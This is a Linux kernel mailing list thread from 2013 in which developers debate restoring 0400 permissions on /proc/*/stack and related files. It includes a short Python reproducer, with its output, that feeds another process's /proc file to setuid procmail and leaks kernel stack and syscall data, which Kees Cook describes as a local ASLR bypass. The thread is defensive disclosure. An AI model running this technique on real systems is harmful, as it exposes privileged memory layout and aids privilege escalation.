Re: [PATCH 1/2] procfs: restore 0400 permissions on /proc/*/{syscall,stack,personality}

[Kees Cook]

On Wed, Aug 28, 2013 at 1:11 PM, Djalal Harouni <tixxdz@xxxxxxxxxx> wrote:
> Cc'ed more people,
>
> On Tue, Aug 27, 2013 at 06:24:06PM +0100, Djalal Harouni wrote:
>> Hi Al,
>>
>> On Mon, Aug 26, 2013 at 06:20:55PM +0100, Al Viro wrote:
>> > On Mon, Aug 26, 2013 at 09:49:48AM -0700, Eric W. Biederman wrote:
>> >
>> > > How does changing the permissions to S_IRUSR prevent someone from
>> > > opening the file before, and reading the file after a suid exec?
>> > >
>> > > > This patch restores the old mode which was 0400
>> > >
>> > > Which seems to add no security whatsoever and obscure the fact that
>> > > anyone who cares can read the file so what is the point?
>> >
>> > Two words: "security sclerosis".  Both patches NAKed, of course.
>> These particular tissues "are being hardened", no cure for them
>>
>>
>> More seriously, Al your commit a9712bc12c40c172e393f85 closes the races
>> during read() ok, but can you please share some light why the permission
>> mode was changed ?
>>
>> 1)
>> The commit log states that all these files are "rw-r--r--" which was not
>> correct, they were "r--------" before that commit.
>>
>> 2)
>> The commit log says also:
>> "if you open a file before the target does suid-root exec, you'll be still
>> able to access it." so you do the task is tracable check at read()
>>
>> But what if you open a file of a privileged target or a target that does
>> suid-root exec later, and pass the fd to a suid-root exec to read() from
>> it later, you will still pass that tracable check.
>>
>> And currently a non-privileged process can get an fd on all these
>> /proc/*/stack files even root owned ones.
>>
>> So why not restore the old behaviour and block a process from getting an
>> fd on /proc/*/stack files that belong to other processes?
>>
>>
>> The original thread that added the /proc/*/stack feature:
>> https://lkml.org/lkml/2008/11/7/109
>>
>> They noted that it should be under 0400 permissions

Yes, this was discussed years ago -- these files must be 0400 _and_
perform at-read checks.

https://lkml.org/lkml/2011/2/10/21

This is all related to
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1020

Which had the following fixes, but broken file access perms in several places:

http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=a9712bc12c40c172e393f85a9b2ba8db4bf59509
http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=2fadaef41283aad7100fa73f01998cddaca25833
http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=d6f64b89d7ff22ce05896ab4a93a653e8d0b123d
http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=ec6fd8a4355cda81cd9f06bebc048e83eb514ac7
http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=ca6b0bf0e086513b9ee5efc0aa5770ecb57778af

So instead of needing to survive exec, now the file can just be passed as stdin.

>>
>> So why remove that, or why not restore the old safe behaviour ?
>>
>>
>> Hope to get a response
>>
>> Thanks Al
>
> Hope this will convince.
>
> Please not I'm just trying to help/contribute and get things right.
> If there is something obvious that I'm missing let me know, will
> be happy to learn
>
>
> tixxdz@dztty-qemu:~$ id
> uid=1000(tixxdz) gid=1000(tixxdz)
> groups=1000(tixxdz),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev)
>
> tixxdz@dztty-qemu:~$ ls -lha ./a.out
> -rwxr-xr-x 1 tixxdz tixxdz 8.0K Aug 28 20:26 ./a.out
>
> tixxdz@dztty-qemu:~$ ls -lha /usr/bin/procmail
> -rwsr-sr-x 1 root mail 88K Apr 25  2010 /usr/bin/procmail
>
> (procmail with -d needs setuid())
>
> tixxdz@dztty-qemu:~$ for i in $(seq 1 10); do ./a.out /usr/bin/procmail
> /proc/$i/stack ; done

Can you include your C file for your a.out? I assume you're opening
/proc/$i/stack and duping to stdin for a "procmail -d tixxdz" call,
and I can reproduce this with the following python, but I want to be
sure I'm seeing the same bug.

#!/usr/bin/python
import sys
from subprocess import call
call(["/usr/bin/procmail", "-d", sys.argv[2]], stdin=open(sys.argv[1]))


$ ps -ef | grep apache2 | grep root
root      3781     1  0 Jul28 ?        00:00:37 /usr/sbin/apache2 -k start
$ cat /proc/3781/stack
cat: /proc/3781/stack: Operation not permitted
$ /tmp/dup-stdin.py /proc/3781/syscall kees
$ cat /var/mail/kees
23 0x0 0x0 0x0 0x0 0x7fffa29c9cf0 0x1 0x7fffa29c9d18 0x7f1b76bbd233

So, local ASLR bypass using a setuid helper.

One shouldn't be able to open these files in the first place.

-Kees

>
> tixxdz@dztty-qemu:~$ cat /var/mail/tixxdz
> [<ffffffff811b6537>] poll_schedule_timeout+0x57/0xe0
> [<ffffffff811b70c7>] do_select+0x8b7/0x9a0
> [<ffffffff811b766c>] core_sys_select+0x4bc/0x4f0
> [<ffffffff811b7761>] SyS_select+0xc1/0x110
> [<ffffffff81aef5e9>] system_call_fastpath+0x16/0x1b
> [<ffffffffffffffff>] 0xffffffffffffffff
>
> [<ffffffff8108a6e1>] kthreadd+0xb1/0x150
> [<ffffffff81aef53c>] ret_from_fork+0x7c/0xb0
> [<ffffffffffffffff>] 0xffffffffffffffff
>
> [<ffffffff8109389e>] smpboot_thread_fn+0x1be/0x220
> [<ffffffff8108a1b1>] kthread+0xd1/0xe0
> [<ffffffff81aef53c>] ret_from_fork+0x7c/0xb0
> [<ffffffffffffffff>] 0xffffffffffffffff
>
> [<ffffffff81081610>] worker_thread+0x2e0/0x370
> [<ffffffff8108a1b1>] kthread+0xd1/0xe0
> [<ffffffff81aef53c>] ret_from_fork+0x7c/0xb0
> [<ffffffffffffffff>] 0xffffffffffffffff
>
> [<ffffffff81081610>] worker_thread+0x2e0/0x370
> [<ffffffff8108a1b1>] kthread+0xd1/0xe0
> [<ffffffff81aef53c>] ret_from_fork+0x7c/0xb0
> [<ffffffffffffffff>] 0xffffffffffffffff
>
> [<ffffffff81081610>] worker_thread+0x2e0/0x370
> [<ffffffff8108a1b1>] kthread+0xd1/0xe0
> [<ffffffff81aef53c>] ret_from_fork+0x7c/0xb0
> [<ffffffffffffffff>] 0xffffffffffffffff
>
> [<ffffffff8109389e>] smpboot_thread_fn+0x1be/0x220
> [<ffffffff8108a1b1>] kthread+0xd1/0xe0
> [<ffffffff81aef53c>] ret_from_fork+0x7c/0xb0
> [<ffffffffffffffff>] 0xffffffffffffffff
>
> [<ffffffff811020f3>] rcu_gp_kthread+0xe3/0x620
> [<ffffffff8108a1b1>] kthread+0xd1/0xe0
> [<ffffffff81aef53c>] ret_from_fork+0x7c/0xb0
> [<ffffffffffffffff>] 0xffffffffffffffff
>
> [<ffffffff811023b4>] rcu_gp_kthread+0x3a4/0x620
> [<ffffffff8108a1b1>] kthread+0xd1/0xe0
> [<ffffffff81aef53c>] ret_from_fork+0x7c/0xb0
> [<ffffffffffffffff>] 0xffffffffffffffff
>
> [<ffffffff8109389e>] smpboot_thread_fn+0x1be/0x220
> [<ffffffff8108a1b1>] kthread+0xd1/0xe0
> [<ffffffff81aef53c>] ret_from_fork+0x7c/0xb0
> [<ffffffffffffffff>] 0xffffffffffffffff
>
> You have mail in /var/mail/tixxdz
>
>
> Thanks
>
> --
> Djalal Harouni
> http://opendz.org



-- 
Kees Cook
Chrome OS Security
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